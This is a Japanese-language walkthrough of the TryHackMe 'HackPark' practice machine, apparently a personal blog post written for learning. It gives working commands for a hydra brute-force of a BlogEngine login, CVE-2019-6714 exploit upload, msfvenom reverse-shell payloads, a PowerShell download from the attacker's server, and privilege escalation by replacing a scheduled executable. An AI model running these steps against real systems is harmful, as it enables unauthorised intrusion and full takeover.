概要
Try Hack Me(以下、THM)のHackParkに関するwriteupです。
この記事ではルート特権昇格までの流れを記載しますが、ローカル特権昇格まではNoriaki Hayashiさんの以下のUdemy講座で学習しました。
【サイバーセキュリティ 実践】Boot2Root CTFチャレンジで学ぶハッキングの手口とローカル特権昇格
このページで説明しない探索などやっているので、詳しく手法など確認したい方はこちらの講座をおすすめします。
環境
OracleのVirtualBoxで構築したKali Linuxで実行しました。
こちらの環境構築方法はまた別途記事を書こうと思います。
Walkthrough
※数日に分けて記事を書いているのでターゲット端末のIPが変わっていることがよくあります。ご自身の環境に置き換えて読んでください。
1. kali linuxとターゲットマシンをつなぐ
-
ダウンロードしたファイルをお好きなディレクトリに配置する。
mv <ダウンロードしたファイル>.ovpn <配置したいディレクトリ>
-
kaliでVPNの設定をする。
kaliの右上にあるネットワークの設定からkaliのVPN接続を設定します。
THMからダウンロードしたOVPNファイルを選択する。
-
再び右上のネットワーク設定からVPN Connectionを確認すると設定したVPNが追加されているはずです。クリックすると接続されます。
2. ターゲットマシンを起動する。
HackParkのtask1の右上のボタンでマシンを起動します。
1分くらい待てば起動され、ターゲットのIPアドレスが表示されます。
3. nmapで稼働してるサービスを確認する。
namp -Pn -T4 -sV <ターゲットのIPアドレス>
80番ポートと3389番ポートが開いています。
とりあえず80番ポートをブラウザから確認しようと思います。
4. ブラウザでの確認
4.1 ブラウザでアクセス
ブラウザで開くとなんかいます。
映画で有名なあいつです。
Task 1の回答はこいつの名前です。
「ピエロ 映画」とか「IT ピエロ」とか画像検索とかで名前が出てくると思います。
右側のハンバーガーメニューからログイン画面に遷移することができます。
BlogEngineのログイン画面であることがわかります。
ホーム画面の下部にはDesigned by BlogEngineと書いてありますので、こちらでログインできれば、管理者としてページをいじれるのではないかと推測できます。
試しに、ユーザ:admin、パスワード:adminでログインしてみますが、Login failedと表示されます。
4.2 Burp Suiteによるログインリクエストの確認
Burp SuiteとはJavaで作られた、Webセキュリティ評価のためのツールです。ウェブアプリケーションだけでなくモバイルアプリケーションにも使われるようです。
今回はWEBサイトのログインリクエストをインターセプトし、中身を確認するために使います。
ちなみにTHMにもBurp Suiteに関するroomがあります。
Burp Suiteでリクエストをキャッチするために、FireFoxのFoxyProxyという拡張機能を利用します。
VPNをオフにしてFireFoxから以下のURLにアクセスし、「追加」を押します。
ブラウザのメニューの横にFoxyProxyが現れます。
オプションを押します。
左メニューのAddを押し、以下の内容でsaveを押してください。
もう一度ハンバーガーメニューの横のアイコンを押すとBurpが増えていますので、選択してください。
アイコンにBurpという文字が重なります。
Burp Suiteを立ち上げてProxyタブでInterceptをOnにします。
VPNを再びオンにして先ほどのログイン画面で試しにユーザ名、パスワードどちらもadminにしてログインボタンを押します。
するとBurp Suiteの画面は以下のように変化すると思います。
POSTメソッドでリクエストを送っていることがわかります。
このPOSTがTask 2の1つ目の答えになります。
他にもPOSTメソッドのメッセージボディも確認できます。
4.3 hydraによるブルートフォース攻撃
Task 2の続きを読むとhydraでパスワードをクラックするように書いてあります。
hydraは有名なパスワードクラックツールです。
THMにも使い方のroomがありますので確認してみてください。
POSTリクエストに関しては以下のフォーマットでクラックをかけることができます。
hydra -l <username> -P <wordlist> MACHINE_IP http-post-form "/:username=^USER^&password=^PASS^:F=incorrect" -V
-
今回は管理者で操作したいのでusernameにBlogengineの初期管理者ユーザのadminを入れます。
-
wordlistはクラックするパスワードのリストです。
kaliにはrockyou.txtというよく使われるパスワードリストが入っています。
場所を確認します。sudo updatedb locate rockyou.txt
sudo gzip -d /usr/share/wordlists/rockyou.txt.gz sudo updatedb locate rockyou.txt
rockyou.txtはCTFなどでとてもよく使います。
-
MACHINE_IPはターゲットのIPアドレスです。
-
最後のダブルクォートの部分がややこしいですが、
<フォームのURL>:<メッセージボディ>:F=<ログイン失敗時のメッセージ>
です。
フォームのURLはログインフォームのURLのうち、IPの後ろから?までの間の/Account/login.aspxです。
メッセージボディのusernameを挿入する部分には^USER^、パスワードを挿入する部分には^PASS^を書いておく必要があります。
今回はメッセージボディの中でadminが挿入されているUserName=の後が^USER^とPassword=のあとが^PASS^です。
テキストエディタなどで編集してください。
失敗時のメッセージは4.1でLogin failedであることを確認しています。
これを踏まえると今回のコマンドは
hydra -l admin -P /usr/share/wordlists/rockyou.txt <ターゲットのIP> http-post-form "/Account/login.aspx:__VIEWSTATE=w%2Bs3oi719rzgBAf8KPmekEn3mPuRdbKDsk1tweEU0JQ77BnTVcsHH1wIy%2FpBQh12FWaXSkeviU1n2Bx6iF0RWJnTz8dAryvuX22EAMCg1aSgSZ18m%2Bb8SBA%2Foh%2BjHjeqh92AMdZknPql%2FH2Df73gGNmUxW6COLCNEVuD%2Ba%2Bntr5%2FR4z4&__EVENTVALIDATION=lpdf2SBqn5dBJkwA1DSrXg%2BNgFR8Tab%2FjgiqyKKQpdtXQ2aWnN3uMhTZGeE7VXy6hfbk1uQJu%2BonPmqfEJCuB2tP4xa%2BzsDyjI20QBxw7nV8zVrEq2LmWnHpkNavqm1DUniD9NIuNolVUdFsZdnn7xg%2Bhod8KYonjTuwROX1DwPgRf9Y&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:F=Login failed" -V
となります。
実行してみるとずらずらといろいろ出てきますが、最後あたりでログインに成功したパスワードを確認することができます。
こちらがTask 2の2つ目の答えになります。
4.4 ログイン
BurpのInterceptをOFFにして、クラックしたパスワードでログインしてみます。
管理者画面にログインできました。
左メニューのABOUTでいろいろ情報を取れそうだし、CCONTENTでexploitコードを入れれたりしそうな感じがします。
ここまで来たらFoxyProxyもBurpからTurn Offにして大丈夫です。
5. exploitの実行
管理者画面に入れたのでexploitを仕掛けていきたいと思います。
5.1 BlogEngineのバージョン確認
exlpoitを仕掛けるにあたってBlogEngineのバージョンを確認したいと思います。
管理者画面のABOUTに書いてあります。
3.3.6.0ですね。こちらTask 3の1つ目の回答です。
5.2 exlopitコードの調査
バージョンがわかったので以下のサイトでexploitコードを検索してみます。
BlogEngine 3.3.6で検索すると検証済み(Vにチェック)のexploitコードは1件だけでした。
こちらを試してみたいと思います。
こちらのtitleをクリックすると詳細を確認できます。
CVEはCVE-2019-6714です。
こちらはtask 3の2つ目の答えになります。
以下のようなことが書いてあります。
Attack:
First, we set the TcpClient address and port within the method below to our attack host, who has a reverse tcp listener waiting for a connection.Next, we upload this file through the file manager. In the current (3.3.6) version of BlogEngine, this is done by editing a post and clicking on the icon that looks like an open file in the toolbar. Note that this file must be uploaded as PostView.ascx. Once uploaded, the file will be in the /App_Data/files directory off of the document root. The admin page that allows upload is:
http://10.10.10.10/admin/app/editor/editpost.cshtml
Finally, the vulnerability is triggered by accessing the base URL for the blog with a theme override specified like so:
http://10.10.10.10/?theme=../../App_Data/files
exploitコードをPostView.ascxという名前で保存して、ファイルマネージャでアップロードして、kali側で待ち状態作ったうえでアクセスしなさいと書いてある感じがします。
exploitコードはkaliに入っています。serchsploitというコマンドで確認することができます。
searchsploit blogengine 3.3.6
5.3 exploitコードのアップロード
上記をPostView.ascxという名前でコピーします。
locate aspx/webapps/46353.cs
cp <上記の結果> <保存したい場所>/PostView.ascx
接続先を攻撃端末にする必要がありそうなのでvimで中身を確認しつつ編集します。
vim PostView.ascx
51行目くらいのTCPクライアントのIPを自身のVPNのIPに書き換え保存します。
exploitコードのアップロードは以下を参考にします。
BlogEningeにログインしているブラウザでCONTENTから記事を選択します。
メニューバーの一番右のFile Managerを開き、UPLOADを選択します。
作成したPostView.ascxを選択するとアップロードされます。
5.4 リバースシェルの確立
exploitdbの指示に従いながらリバースシェルを確立します。
まずは、攻撃端末側で接続を待ち受けます。netcatを使います。
nc -nvlp 4445
ポートはexploitコードのTCPクライアントで指定した4445です。
その後、exoloitdbに記載してあった以下のURLにアクセスします。
IPはターゲット端末のものにしてください。
アクセス後ターミナル側でwindowsのシェルにつながったことが確認できます。
whoamiで確認するとユーザが確認できます。(Task 3の3つ目の回答)
これでローカルの権限でリバースシェルを確立できました。
6. 安定したリバースシェルの確立
ここまでで立てたリバースシェルは不安定なので、安定した接続完了を作ります。
流れとしては
- msfvenomでペイロードを作成します。
- 確立したリバースシェルからペイロードをターゲットに送ります。
- msfconsoleを使って安定した接続環境を確立します。
6.1 msfvenomによるペイロードの作成
msfvenomはコマンドで簡単にペイロードが作成できるツールです。
以下のコマンドで作成できるペイロードを見れます。
msfvenom --list payloads
山ほど出てきますが、windowsでmsfconsoleで接続するということを考えると
これがいいのではないかと思います。
windows/meterpreter/reverse_tcp
以下のコマンドで作成できます。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<攻撃端末のIP> LPORT=4444 -f exe > reverse.exe
6.2 作成したペイロードをターゲット端末に転送する
攻撃端末からpythonでサーバーをたて、ターゲット端末でペイロードをダウンロードします。
-
攻撃端末側
python -m http.server 8000
-
ターゲット端末のリバースシェル
こういう時は保存先にTempが選択されることが多い気がします。理由は後で調べます。cd C:Windows\Temp powershell -c "Invoke-WebRequest -Uri 'http://<攻撃端末のIP>:8000/reverse.exe' -OutFile 'C:\Windows\Temp\reverse_shell.exe'"
dirコマンドでshell.exeがダウンロードされていることを確認します。
6.3 msfconsoleで接続を確立する
msfconsoleはリバースシェル確立のためによく使われます。
msfvenomで作成したペイロードをmsfconsoleのexploit/multi/handlerで待ち受けるのはよくある形な気がします。
まずはmsfconsoleを立ち上げます。
-
攻撃端末側で
msfconsole
msfconsoleが立ち上がったら
msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set <攻撃端末のIP> msf6 exploit(multi/handler) > run
これでペイロードの実行待ち状態です。
-
ターゲット端末で
.\shell.exe
すると、
安定した接続が確立されます。
sysinfoでOSが確認でき、こちらがTask 4の2つ目の答えになります。
7. ルート特権昇格
システムの管理者権限を得るために悪用できそうなサービスを探します。
winPEASというツールを利用します。
特権昇格のためのイケてるツールだよ!みたいなことが書いてありました。
ご自身のkaliの中にない場合はいったんVPNを切ってから別のターミナルを起動しinstallしてください。
sudo apt install peass
インストール後はVPNをつなぎなおし、winpeasの格納場所を確認しておいてください。
sudo find / -iname winpeas
ls -1 <格納先のPath>/*
いくつかの実行ファイルがあります。
何個か試してみましたが、今回はmeterpreterのsysinfoでx86であることもわかっているので、winPEASx86_ofs.exeがいい感じでした。
以下で実行してみます。
meterpreterでリバースシェルを確立していれば、アップロード自体は簡単です。
meterpreter > upload <確認した格納場所>/winPEASx86_ofs.exe
meterpreter > shell
c:\Windows\Temp>.\winPEASx86_ofs.exe
かなりいろいろ出てきますが、悪用できるサービスを探したいので、Service Informationに注目します。
WindowsSchedulerがなんか赤字でPermission: Everyoneとか書かれていて悪用できそうな感じがします。
これがTask 4の3つ目の回答になります。
このサービスの脆弱性を利用してexploitを仕掛けていきたいですが、exploit-dbで「WindowsScheduler」を検索しても出てきません。
上記の情報でSplinterwareのソフトウェアであることがわかるので、検索してみます。
出てきました。検証済みのほうを確認してみます。
Details
By default the Everyone group has the modify permission to System Schedule files as >shown below. With the service installed, a low privilege account is able to rename the >WService.exe file located in this same path and replace with a malicious file that >would connect back to an attacking computer giving system level privileges (nt >authority\system) due to the service running as Local System. While a low privilege >user is unable to restart the service through the application, the service is checked >periodically triggering the execution of the malicious file.Proof of Concept
- Login as regular user where Splinterware System Scheduler Pro 5.12 and the service are installed
- Create malicious .exe with same name 'wservice.exe' that can connect back to attacking machine
- Download malicious .exe on victim machine, and setup listener on attacking machine
- Rename original wservice.exe file to wservice.bak, and copy malicious file to location of original
- wait short amount of time and check attacking machine listener
- connection back from victim machine successful, run whoami
wservice.exeを攻撃コードに置き換えて待ち構えたら管理者で接続できるよ的なことを言っているように見えます。
しかし、実際にwservice.exeを置き換えても一向にリバースシェルはつながりません。
そこでイベントログを確認します。
上記のexploit-dbからC:\Program Files (x86)\SystemSchedulerを確認すればよさそうです。
Eventsを見ればよさそうですね。
ログファイルがあったので中身を見てみると、Message.exeが定期的にAdministratorで実行されています。
これを書き換えればexploitコードを実行でき、Administrator権限でリバースシェルを繋げられそうです。
このMassage.exeはTask 4の4つ目の答えです。
書き換えは以下で実行できます。
-
Massage.exeをバックアップ
c:\Program Files (x86)\SystemScheduler\Events>cd c:\Program Files (x86)\SystemScheduler c:\Program Files (x86)\SystemScheduler>move Message.exe Message.bak
-
リバースシェル確立のためのexploitコード(ローカル権限とるときにmsfvenomで作ったやつ)をMessage.exeとして保存
c:\Program Files (x86)\SystemScheduler>copy c:\Windows\Temp\shell.exe Message.exe
-
別のターミナルを開いてmsfconsoleでリバースシェルの待ち受け
msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST <攻撃端末のIP>
msf6 exploit(multi/handler) > run
少し待っているとリバースシェルがつながると思います。
getuidで確認するとAdministrator権限であることがわかります。
あとはmeterpreterでshellを打って、dirコマンドなどでフラグを探して、typeコマンドで表示してください。
フラグが確認できます。
以上でルート特権昇格まで完了となります。
長い記事に付き合っていただきありがとうございました。
最後の問題
Task 5の問題について、winPEAS使えって書いてありますが、上記でルートのシェルとれていれば以下のコマンドで表示できます。
c:\>systeminfo | findstr /i date